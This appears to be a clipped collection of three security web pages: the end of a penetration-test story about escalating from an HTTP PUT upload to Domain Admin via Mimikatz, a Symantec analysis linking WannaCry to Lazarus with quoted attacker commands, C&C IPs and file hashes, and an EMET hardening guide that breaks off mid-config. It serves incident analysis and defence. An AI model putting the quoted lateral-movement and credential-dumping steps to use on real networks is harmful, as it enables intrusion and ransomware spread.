Even if it did we could use various evasion techniques to upload and execute
the file. We then used our favourite widgest method to retrieve passwords in
clear text and get credentials for a user “taufiq” who was an ordinary Domain
User but also had Admin privileges on some product related servers.

Now we logged into all these product related servers with the account we had
to search for more interesting accounts which we could escalate our privileges
to. We were able to find several accounts but the most authoritative account
was of course the Domain Admin.

That’s it, we again uploaded mimiktaz on this system and obtained password for
the Domain Admin account. Net result was that the Domain was 0wned\!

<img src='img/Temp2_5986.png' width='526' alt='Owning the enterprise with HTTP
PUT-3' />

From here on we could use smbexec utility to extract domain hashes from the
domain controller.

#### Conclusion:

This article shows how a simple vulnerability like enabling HTTP verbs such as
PUT and MOVE can serve as the doorway to a far more insidious attack and allow
the attacker to take complete ownership of the network. Of course, there were
a large number of other vulnerabilities that allowed us to do this – but the
entry point was simply one mis-configured HTTP server\!

### Share this:

#### Omair

<img
src='http://1.gravatar.com/avatar/74c6d121513181cea928702791e90bc0?s=64&d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D64&r=G'
width='64' height='64' />Omair is a Team Lead for Security Asessments at NII.
His area of work includes Vulnerability Assessment, Security Audits,
Penetration Test, Source Code Reviews. He has over six years of experience in
penetration testing, vulnerability assessment and network security. He has
been responsible for maintaining a secure network for mission critical
applications. He has also published security advisories pertaining to various
vulnerabilities in commonly used software like Excel, Real Player, Internet
Explorer and Chrome. His area of expertise includes Vulnerability Research,
Reverse Engineering and Fuzzing. He possesses strong analytical skills and is
a part of the research activities undertaken at NII.

Posted by Omair at 4:05 pm

### Leave a Reply Cancel reply

Name \(required\)

E-mail \(required\)

URI

Your Comment

You may use these HTML tags and attributes: `<a href="" title=""> <abbr
title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del
datetime=""> <em> <i> <q cite=""> <strike> <strong> `

Notify me of follow-up comments by email.

Notify me of new posts by email.

# WannaCry: Ransomware attacks show strong links to Lazarus group

**Created:**| _5/23/2017 12:55:26 PM_  
---|---  
**Updated:**| _5/23/2017 12:55:26 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis attribution_  
  

  

# WannaCry: Ransomware attacks show strong links to Lazarus group

Similarities in code and infrastructure indicate close connection to group
that was linked to Sony Pictures and Bangladesh Bank attacks

By: Symantec Security Response Symantec Employee

  * Created 22 May 2017 
  * 0 Comments
  * :  简体中文, 日本語

  * 0
  * 85
  * 
  * 
  * 
  * 

Tools and infrastructure used in the WannaCry ransomware attacks have strong
links to Lazarus, the group that was responsible for the destructive attacks
on Sony Pictures and the theft of US$81 million from the Bangladesh Central
Bank.

Prior to the global outbreak on May 12, an earlier version of WannaCry
\(Ransom.Wannacry\) was used in a small number of targeted attacks in
February, March, and April. This earlier version was almost identical to the
version used in May 2017, with the only difference the method of propagation.
Analysis of these early WannaCry attacks by Symantec’s Security Response Team
revealed substantial commonalities in the tools, techniques, and
infrastructure used by the attackers and those seen in previous Lazarus
attacks, making it highly likely that Lazarus was behind the spread of
WannaCry. Despite the links to Lazarus, the WannaCry attacks do not bear the
hallmarks of a nation-state campaign but are more typical of a cybercrime
campaign. These earlier versions of WannaCry used stolen credentials to spread
across infected networks, rather than leveraging the leaked EternalBlue
exploit that caused WannaCry to spread quickly across the globe starting on
May 12.

## Summary of links

  * Following the first WannaCry attack in February, three pieces of malware linked to Lazarus were discovered on the victim’s network: Trojan.Volgmer and two variants of Backdoor.Destover, the disk-wiping tool used in the Sony Pictures attacks.
  * Trojan.Alphanc, which was used to spread WannaCry in the March and April attacks, is a modified version of Backdoor.Duuzer, which has previously been linked to Lazarus.
  * Trojan.Bravonc used the same IP addresses for command and control as Backdoor.Duuzer and Backdoor.Destover, both of which have been linked to Lazarus.
  * Backdoor.Bravonc has similar code obfuscation as WannaCry and Infostealer.Fakepude \(which has been linked to Lazarus\).
  * There is shared code between WannaCry and Backdoor.Contopee, which has previously been linked to Lazarus.

## February attack

The first evidence Symantec has seen of WannaCry being used in the wild was
February 10, 2017, when a single organization was compromised. Within two
minutes of the initial infection, more than 100 computers in the organization
were infected.

The attackers left behind several tools on the victim’s network that provided
substantial evidence into how WannaCry spread. Two files, mks.exe and
hptasks.exe \(see Appendix C: Indicators of Compromise\), were found on one
affected computer. The file mks.exe is a variant of Mimikatz
\(Hacktool.Mimikatz\), a password-dumping tool that is widely used in targeted
attacks. The latter file, hptasks.exe, was used to then copy and execute
WannaCry on other network computers using the passwords stolen by mks.exe.

The spread of WannaCry by hptasks.exe was a two-stage process. In stage one,
when run, hptasks can be passed a target list of IP addresses as an argument.
When given this command, hptasks reads previously stolen credentials from a
file called cg.wry and uses them to connect to every computer in the set of IP
address ranges. All connection attempts are logged into the log.dat file. If a
successful connection is made to a remote computer, and there is no file with
a .res extension in either the Admin$, or C$\Windows folders, then hptasks.exe
will copy the files listed in Table 2 onto the remote computer.

**File name** | **Remote locations** | **Type**  
---|---|---  
cg.wry | \\\%s\Admin$\, \\\%s\C$\Windows\ where %s the remote system | Configuration details  
r2.wry | \\\%s\Admin$\, \\\%s\C$\Windows\ where %s the remote system | Message to the user with instructions on how to pay  
t1.wry | \\\%s\Admin$\, \\\%s\C$\Windows\ where %s the remote system | Message to the user, for example "Most of your files are encrypted..."  
taskmsgr.exe | \\\%s\Admin$\, \\\%s\C$\Windows\ where %s the remote system | Application for displaying the messages in t1.wry and t2.wry  
taskschs.exe | \\\%s\Admin$\, \\\%s\C$\Windows\ where %s the remote system | WannaCry encryption application  
_Table 1. Files copied by hptasks.exe onto target computers_

After hptasks.exe executes WannaCry on the remote computer, the second stage
begins. hptasks can pass several arguments to the WannaCry installation on the
remote computer, including a new set of IP addresses. If WannaCry is run with
these IP addresses as arguments, it does not encrypt the files on the local
computer. Instead, it connects to the IP addresses passed, accesses the Admin$
and C$ share on those computers using the credentials embedded in the resource
section in a file called c.wry, and then remotely encrypts those files.

In addition to hptasks.exe and mks.exe, five other pieces of malware were
discovered on a second computer on the victim’s network. Three of these tools
are linked to Lazarus. Two were variants of Destover \(Backdoor.Destover\) a
tool used in the Sony Pictures attacks. The third was Trojan.Volgmer, malware
that has previously been used by Lazarus in attacks against South Korean
targets.

## March and April attacks

Beginning on March 27, at least five organizations were infected with a new
sample of WannaCry. There does not appear to have been a pattern to those
targeted, with the organizations spanning a range of sectors and geographies.
These attacks revealed further evidence of links between those behind WannaCry
and the Lazarus Group.

Two different backdoors were used to deploy WannaCry in these attacks:
Trojan.Alphanc and Trojan.Bravonc. Alphanc was used to drop WannaCry onto
computers belonging to at least two of the known victims, with a slightly
modified version of the malware deployed to each victim.

Alphanc shares a significant amount of code with Backdoor.Duuzer, a sub-family
of the Destover wiping tool used in the Sony attacks \(see Appendix B: Shared
Code\). In fact, Symantec investigators believe Alphanc is an evolution of
Duuzer. Duuzer has also previously been linked to the activity of
Backdoor.Joanap and Trojan.Volgmer, which have both been previously linked to
Lazarus.

Symantec researchers were able to establish a detailed timeline of the
activity of Alphanc on one of the victim’s systems, from the time it got on
the system to when WannaCry was deployed.

### Timeline of Alphanc activity

Alphanc was deployed on the target computer as armsvc.exe and minutes later
copied itself to a new name, javaupdate.exe. The sample executed from this
location:

_cmd.exe /c "copy c:\Users\Administrator\AppData\armsvc.exe
c:\windows\system32\javaupdate.exe >
C:\Users\REDACTED\AppData\Local\Temp\NK15DA.tmp" 2>&1_

Minutes later, mks.exe, the same credential dumper used in the February
WannaCry attacks, was created and executed. There was no activity for three
days, until the attackers returned and deployed a version of RAR and created a
password-protected archive. Moments later a network scanner called g.exe ran.
This performed a DNS lookup for all IP addresses in the IP address range
selected by the attackers, probably to determine computers of interest. A two-
day gap in activity followed before the attackers returned to profile the
local network. Examples of commands used include:

_cmd.exe /c "net view > C:\Users\REDACTED\AppData\Local\Temp\NK2301.tmp" 2>&1  
cmd.exe /c "net view /domain >
C:\Users\REDACTED\AppData\Local\Temp\NK6C42.tmp" 2>&1  
cmd.exe /c "time /t > C:\Users\REDACTED\AppData\Local\Temp\NKC74F.tmp" 2>&1_

Then, the file taskhcst.exec was created by javaupdate.exe. This was the
WannaCry ransomware. The .exec extension is renamed to .exe, as illustrated
blow. This was likely a safety check so that the attacker would not mistakenly
execute the file prematurely.

_cmd.exe /c "ren C:\Windows\taskhcst.exec taskhcst.exe >
C:\Users\REDACTED\AppData\Local\Temp\NK833D.tmp" 2>&1_

Approximately 45 minutes later, the attacker copied the javaupdate.exe
backdoor to a remote computer. A file called bcremote.exe was then also copied
to this computer; this was the same tool that was called hptasks.exe in the
February attack, and was used to spread WannaCry across the network. The
configuration file for this file was then copied, and finally WannaCry itself
was copied over:

_cmd.exe /c "net use \\\REDACTED\ipc$ REDACTED /u:REDACTED >
C:\Users\REDACTED\AppData\Local\Temp\NK2E.tmp" 2>&1_  
_cmd.exe /c "copy c:\windows\system32\javaupdate.exe
\\\REDACTED\c$\windows\javaupdate.exe >
C:\Users\REDACTEDAppData\Local\Temp\NK3E49.tmp" 2>&1_  
_cmd.exe /c "copy c:\windows\beremote.exe \\\REDACTED\c$\windows\ >
C:\Users\REDACTED\AppData\Local\Temp\NK4DD5.tmp" 2>&1_  
_cmd.exe /c "copy c:\windows\c.wry \\\REDACTED\c$\windows\ >
C:\Users\REDACTED\AppData\Local\Temp\NK7228.tmp" 2>&1_  
_cmd.exe /c "copy c:\windows\taskh\*.exe \\\REDACTED\c$\windows\ >
C:\Users\REDACTED\AppData\Local\Temp\NK7DCF.tmp" 2>&1_

The same process took place on a second server on the network, and when the
bcremote.exe command was executed, WannaCry was spread across the network.

### Trojan.Bravonc

Fewer details are available about the operation of Trojan.Bravonc, but it was
used to drop WannaCry onto the computers of at least two other victims, and
displays some fairly definitive links to the Lazarus group.

It connects to a command and control \(C&C\) server at the IP address
87.101.243.252, which is the same IP address used by a sample of Destover, a
known Lazarus tool. This IP address was also referenced in Blue Coat’s From
Seoul To Sony report.

Duuzer has also been observed using this IP address as a C&C server. Bravonc
and a variant of Destover also share cryptographic related code \(See Appendix
B: Shared Code\). In addition, Bravonc’s method of spreading \(over SMB using
hardcoded credentials\), was the same technique used by Joanap, another
Lazarus-linked tool.

## May attacks: WannaCry goes global

On May 12, a new version of WannaCry was released which incorporated the
leaked “EternalBlue” exploit that used two known vulnerabilities in Windows
\(CVE-2017-0144 and CVE-2017-0145\) to spread the ransomware to unpatched
computers on the victim’s network and also to other vulnerable computers
connected to the internet.

The incorporation of EternalBlue transformed WannaCry from a dangerous threat
that could only be used in a limited number of targeted attacks to one of the
most virulent strains of malware seen in recent years. It caused widespread
disruption, both to organizations infected and to organizations forced to take
computers offline for software updates. The discovery and triggering of a kill
switch by security blog MalwareTech halted its spread and limited the damage.

The earlier versions of WannaCry and the one used in the May 12 attacks are
largely the same, with some minor changes, chiefly the incorporation of the
EternalBlue exploit. The passwords used to encrypt the Zip files embedded in
the WannaCry dropper are similar across both versions \("wcry@123",
"wcry@2016", and "WNcry@2ol7"\) indicating that the author of both versions is
likely the same group.

The small number of Bitcoin wallets used by first version of WannaCry, and its
limited spread, indicates that this was not a tool that was shared across
cyber crime groups. This provides further evidence that both versions of
WannaCry were operated by a single group.

## WannaCry links to Lazarus

Aside from commonalities in the tools used to spread WannaCry, there are also
a number of links between WannaCry itself and Lazarus. The ransomware shares
some code with Backdoor.Contopee, malware that has previously been linked to
Lazarus. One variant of Contopee uses a custom SSL implementation, with an
identical cipher suite, which is also used by WannaCry. The cipher suite in
both samples has the same set of 75 different ciphers to choose from \(as
opposed to OpenSSL where there are over 300\).

In addition, WannaCry uses similar code obfuscation to Infostealer.Fakepude,
malware that has previously been linked to Lazarus; and Trojan.Alphanc,
malware that was used to spread WannaCry in the March and April attacks and
which has been linked to Lazarus \(see above\).

## Fortuitous leak turned WannaCry into global threat

The discovery of a small number of earlier WannaCry attacks has provided
compelling evidence of a link to the Lazarus group. These earlier attacks
involved significant use of tools, code, and infrastructures previously
associated with the Lazarus group, while the means of propagation through
backdoors and stolen credentials is consistent with earlier Lazarus attacks.
The leak of the EternalBlue exploit was what allowed the attackers to turn
WannaCry into a far more potent threat than it would have been had they still
been relying on their own tools, since it bypassed many of the steps the
attackers previously had to take, removing both the need to steal credentials
and copy it from computer to computer.

Thanks to Symantec’s Network Protection Research Labs for their contribution
to this research.

## Appendix A: WannaCry and Lazarus shared network infrastructure

There are a number of crossovers seen in the C&C servers used in the WannaCry
campaigns and by other known Lazarus tools. For example, during the attacks
against Sony, a malware family called Backdoor.Destover was deployed. Later
variants of Backdoor.Destover were seen to use the IP address 87.101.243.252
for command and control. The Trojan.Bravonc sample discovered dropping
WannaCry also connects to this IP address. Other shared network infrastructure
is listed below:

C&C | Used by  | Comments  
---|---|---  
87.101.243.252 |  Trojan.Bravonc, Backdoor.Duuzer Backdoor.Destover |   
84.92.36.96 | Trojan.Alphanc | Also used by a backdoor program which shares an additional C&C with Lazarus-linked Backdoor.Cuprox  
184.74.243.67 | Trojan.Alphanc | Also seen used by entaskloader.exe which drops a network scanning tool used in March attacks  
203.69.210.247 | Trojan.Alphanc |   
196.45.177.52 | Backdoor.Cuprox | Also seen used by a backdoor program dropped by a document called “discussion\_QuadrigaCX.doc”  
_Table 2. Infrastructure shared by WannaCry and other Lazarus tools_

## Appendix B: Shared Code

### Shared network code between Trojan.Alphanc and Backdoor.Duuzer

Trojan.Alphanc and Backdoor.Duuzer use similar code to generate the buffer
being sent out after connection to the C&C server is established. This code is
part of what could be referred to as a "Fake SSL" handshake. This is similar
in concept to the code identified by Google, but different in implementation.
Both samples generate a random number, and use that number to lookup a table
for additional data to send. That table is identical across both samples. In
addition, both samples will prepend the same value, 0x16030100, to the start
of the buffer sent to the C&C server.

<img src='img/Temp2_9355.png' width='967' height='593' alt='Backdoor-
Duuzer.png' />_Figure 1. Backdoor.Duuzer sample with the hash
fa6ee9e969df5ca4524daa77c172a1a7_

<img src='img/Temp2_9350.png' width='967' height='593' alt='Backdoor-
Alphanc.png' />_Figure 2. Backdoor Alphanc sample with the hash
E8C6ACC1EB7256DB728C0F3FED5D23D7_

### Common strings between Trojan.Alphanc and Backdoor.Duuzer

The following table demonstrates the common strings between Trojan.Alphanc and
Backdoor.Duuzer.

<img src='img/Temp2_9356.png' width='840' height='1350' alt='Common-
strings.png' />  
_Figure 3. Common strings between Trojan.Alphanc and Backdoor.Duuzer_

### Cryptographic number related routines between Backdoor.Bravonc and
Backdoor.Destover

<img src='img/Temp2_9354.png' width='967' height='593' alt='Trojan-
Bravonc.png' />  
_Figure 4. Trojan.Bravonc sample with the hash
55dd9b0af2a263d215cb4fd48f16231a_

<img src='img/Temp2_9353.png' width='967' height='593' alt='Destover.png'
/>_Figure 5. Destover variant with the hash 0f246a13178841f8b324ca54696f592b_

### Shared function identified by Neel Mehta

On May 15, Google researcher Neel Mehta tweeted the following:

<img src='img/Temp2_9352.png' width='900' height='160' alt='Neel-Mehta.png' />

The first hash, 9c7c7149387a1c79679a87dd1ba755bc, is a Ransom.WannaCry variant
and ac21c8ad899727137c4b94458d7aa8d8 is a variant of Backdoor.Contopee, a
backdoor used in attacks against several banks. The samples referenced in the
tweet contain shared code. This shared code is part of a custom SSL
implementation, using an identical cipher suite. It could be described as
"fake ssl". Each cipher specifies an option for key exchange, authentication,
bulk encryption, MAC. The Contopee sample and WannaCry sample have almost
identical pieces of code that reference an identical cipher suite. The cipher
suite in both samples has the same 75 different ciphers to choose from \(as
opposed to OpenSSL where there are over 300\).

## Appendix C: Indicators of Compromise

**MD5** | **SHA256** | **File name**  
---|---|---  
21307227ECE129B1E12797ECC2C9B6D9 | 8A4D2BAA8CF519C7A9B91F414A0A9D8BA2B9E96D21D9E77DA7B34ED849830A36 | mks.exe  
6F0338AF379659A5155B3D2A4F1A1E92 | CA8DC152DC93EC526E505CF2A173A635562FFBF55507E3980F7DC6D508F0F258 | hptasks.exe  
0489978ffa3b864ede646d0470500336 | 2A99BCB5D21588E0A43F56AADA4E2F386791E0F757126B2773D943D7CBF47195 | ENTASKLOADER.EXE. Creates forti.exe  
a1ffca7ba257b4eca7fe7d1e78bac623 | 3C86FC0A93299A0D0843C7D7FF1A137A9E799F8F2858D3D30F964E3C12C28C9E | forti.exe  
f27cf59b00dacdd266ad7894a1df0894 | 92b0f4517fb22535d262a7f17d19f7c21820a011bfe1f72a2ec9fbffbdc7e3e0 | javaupdate.exe, creates g.exe  
a1ffca7ba257b4eca7fe7d1e78bac623 | 3C86FC0A93299A0D0843C7D7FF1A137A9E799F8F2858D3D30F964E3C12C28C9E | g.exe  
511778c279b76cac40d5d695c56db4f5 | 91146EE63782A2061701DB3229320C161352EE2BC4059CCC3123A33114774D66 | svchost.exe, Creates lsasvs.exe  
f774c0588da59a944abc78d5910be407 | A7EA1852D7E73EF91EFB5EC9E26B4C482CA642D7BC2BDB6F36AB72B2691BA05A | lsasvs.exe, Creates 50793105.exe  
8386379a88a7c9893a62a67ea3073742 | 7F8166589023CD62AE55A59F5FCA60705090D17562B7F526359A3753EB74EA2F | 50793105.exe, Creates taskhcst.exe  
3bc855bfadfea71a445080ba72b26c1c | 043E0D0D8B8CDA56851F5B853F244F677BD1FD50F869075EF7BA1110771F70C2 | taskhcst.exe, WannaCry  
F27CF59B00DACDD266AD7894A1DF0894 | 92B0F4517FB22535D262A7F17D19F7C21820A011BFE1F72A2EC9FBFFBDC7E3E0 | armsvc.exe, javaupdate.exe  
E8C6ACC1EB7256DB728C0F3FED5D23D7 | 524F8F0F8C31A89DF46A77C7A30AF5D2A1DC7525B08BFAFBED98748C3D8A3F1C | jusched.exe  
1D4EC831292B611F1FF8983EBD1DB5D4 | 41E9D6C3374FD0E78853E945B567F9309446084E05FD013805C70A6A8205CD70 | msinj32.exe  
D0CE651A344979C8CD11B8019F8E4D7E | 436195BD6786BAAE8980BDFED1D7D7DBCCCB7D5085E79EBDCC43E22D8BAE08A8 | goyqsvc.dll  
9A5FA5C5F3915B2297A1C379BE9979F0 | 9F177A6FB4EA5AF876EF8A0BF954E37544917D9AABA04680A29303F24CA5C72C | exldcmgmt.dll  
86759CE27D0FE0B203AAA19D4390A416 | AE8E9FF2DC0EC82B6BAE7C4D978E3FEAC93353CB3CD903E15873D31E30749150 | oledbg32.dll  
FCF3702E52AE32C995A36F7516C662B7 | FC079CEFA19378A0F186E3E3BF90BDEA19AB717B61A88BF20A70D357BF1DB6B8 | bitssvcs.dll  
e117406e3c14ab8e98b27c3697aea0b6 | 2BA20E39FF90E36086044D02329D43A8F7AE6A7663EB1198B91A95EA556CF563 | 00bebc12.exe  
  * Tags: Security, Security Response, WannaCry
  * Subscriptions \(0\)

<img src='img/Temp2_9351.png' width='140' height='140' />

Symantec Security Response

  * View Profile

  

# EMET 2.1 Deployment « Incident Response howto

**Created:**| _5/31/2011 6:13:36 PM_  
---|---  
**Updated:**| _5/31/2011 6:13:58 PM_  
**Author:**| __  
**Tags:**| _windows environment incident response deploy_  
  

## EMET 2.1 Deployment

Filed under: Windows IR, tools by twsecblog — 3 Comments

May 27, 2011

If you have not used Microsoft EMET and your in charge of managing or securing
Windows PC’s then you need to start looking at it. In short, EMET uses a
number of techniques \(DEP, ASLR, HeapSpray prevention ect…\) to make it much
more difficult to exploit an application. The latest versions allows you to
import and export a xml file to make it easy to deploy. There is still no
direct management from GPO, but this new update makes it very easy.

# Step 1 Testing your applications for Compatibility

While EMET does some cool tricks to prevent exploitation of applications, it
can cause some stabilitity issues. I’ve been running it for a while and have
not had any issues with applications. You will want to add any application
that the user directly interacts with untrusted networks or with files
received from untrusted network. Adding an application to be protected can be
done from the GUI or the console. Startup the GUI and Select configure Apps.

[code]

    <img src='img/Temp2_2522.jpg' width='592' height='686' />
    
[/code]

Then select add and then browse to the desired location. <img
src='img/Temp2_2523.jpg' width='640' height='184' />

Once you have selected the application, you can then change what security
settings you want applied. The default is to include all and I would leave it
that way unless you run into issues. To troubleshoot, clear all the settings
for an app and start by adding each protecting until you crash the
application. Leave that one protection unselected.

# Step 2 Export your Settings

By default EMET is installed at C:\Program Files \(x86\)\EMET\\. You will need
to run the command-line version of the tool \(as Admin\)to export your
settings.

Select Start -> Accessors -> and right click on Command Prompt and select “Run
as Administrator”

[code]

    >cd "C:\Program Files (x86)\EMET\"
    >emet_config.exe --export config.xml
    
[/code]

I have included a version of a EMET Config \(At the bottom\). It list both 32
and 64 bit versions of Office version 12 and 14, Firefox, IE, Itunes and
others…

# Step 3 Copy Emet to Network drive

Emet does come as a MSI file, but you do not need to install it on every
computer to make these changes. Just copy the entire C:\Program Files
\(x86\)\EMET\ along with your config file to a network share that all users
can access.

# Step 4 Deploy Script

I wrote a script to import the settings because I wanted to add Google Chrome
to the protected list. Chrome is installed under each user directory, so you
have to dynamically generate its setting to work properly. \(The current
version does not support system variables\). If you are not using chrome, then
you can reduce the complexity of the script to just run the import from the
network config file. The script only needs to be run once for each user, and
then only when you update the config file. A typical deployment would have the
script run at login via GPO or setup a scheduled task for the user.

To get the script to work in your environment you will need to make changes to
the variables at the top of the script.

The basics steps of the script are:

  1. Download the xml file to local tmp drive
  2. Add Google chrome to the XML
  3. Run Emet from the network to import local xml file.

.

[code]

    '==========================================================================
    '
    '
    '
    ' NAME:EMET_Network.vb
    '
    ' AUTHOR:Tom Webb
    'tcw3bb@gmail.com
    ' DATE  : 5/20/2011
    ' GPL3 License
    '
    '==========================================================================
    'Step One- Grab config file from server
    'Step Two- Add chrome to xml file
    'Step three-Import changes
    '*********************************************************************
    'Declare constants
    '*********************************************************************
    xmlfile="\\networkpath\good.xml"                 ' Location of the network config file
    emet_exe="""\\networkpath\EMET_Conf.exe"""       'Network location of EMET_Conf.exe
    localfolder="C:\temp\"                            ' location where the xml file will be copied to edit
    localfile="emet.xml"
    
    '*************************************************
    'Copy File from Server
    '************************************************
    Set oFSO = CreateObject("Scripting.FileSystemObject")
    oFSO.GetFile(xmlfile).Copy localfolder, True
    
    '***********************************************
    'Get Path for chrome local user
    '**********************************************
    Set wshShell = CreateObject( "WScript.Shell" )
    chromepath=wshShell.ExpandEnvironmentStrings( "%USERPROFILE%" )
    chromepath=chromepath & "\AppData\Local\Google\Chrome\Application"
    'WScript.Echo chromepath
    
    '****************************************
    'output of xmlfile to insert
    '******************************************
    'Remove closing xlm tag by reading in file and removing the last line of the xml
    Const ForReading = 1
    Const ForWriting = 2
    localfolder=localfolder & localfile               'combine path and file
    Set objFSo = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFSO.OpenTextFile(localfolder, ForReading)
    
    strContents = objFile.ReadAll
    objFile.Close
    
    arrLines = Split(strContents, vbCrLf)
    
    Set objFile = objFSO.OpenTextFile(localfolder, ForWriting)
    
    For i = 0 to UBound(arrLines) - 1
    objFile.WriteLine arrLines(i)
    Next
    
    ' write the new information and close last tag
    objFile.WriteLine "   "
    objFile.WriteLine "    "
    objFile.WriteLine "    "
    objFile.WriteLine "    "
    objFile.WriteLine "    "
    objFile.WriteLine "    "
    objFile.WriteLine "    "
    objFile.WriteLine "    "
    objFile.WriteLine "  "
    objFile.WriteLine ""
    objFile.Close
    
    'Building the commandline
    cmd=" --import " & localfolder
    commandline=emet_exe &cmd
    'WScript.Echo commandline
    wshShell.Run commandline,1,True
    
    
[/code]

### Emet XML Config

[code]

    <EMET_Apps Version="2.1.0.0">
    <AppConfig Path="C:\Program Files (x86)\Adobe\Reader 9.0\Reader" Executable="AcroRd32.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Adobe\Reader 10.0\Reader" Executable="AcroRd32.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Adobe\Reader 9.0\Reader" Executable="AcroRd32.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Adobe\Reader 10.0\Reader" Executable="AcroRd32.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Mozilla Firefox" Executable="firefox.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Mozilla Firefox" Executable="firefox.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Internet Explorer" Executable="iexplore.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files (x86)\Internet Explorer" Executable="iexplore.exe">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office14" Executable="EXCEL.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office14" Executable="OUTLOOK.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office14" Executable="POWERPNT.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office14" Executable="VISIO.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office14" Executable="WINWORD.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
    <AppConfig Path="C:\Program Files\Microsoft Office\Office14" Executable="MSACCESS.EXE">
    <Mitigation Name="DEP" Enabled="true" />
    <Mitigation Name="SEHOP" Enabled="true" />
    <Mitigation Name="NullPage" Enabled="true" />
    <Mitigation Name="HeapSpray" Enabled="true" />
    <Mitigation Name="EAF" Enabled="true" />
    <Mitigation Name="MandatoryASLR" Enabled="true" />
    <Mitigation Name="BottomUpRand" Enabled="true" />
    </AppConfig>
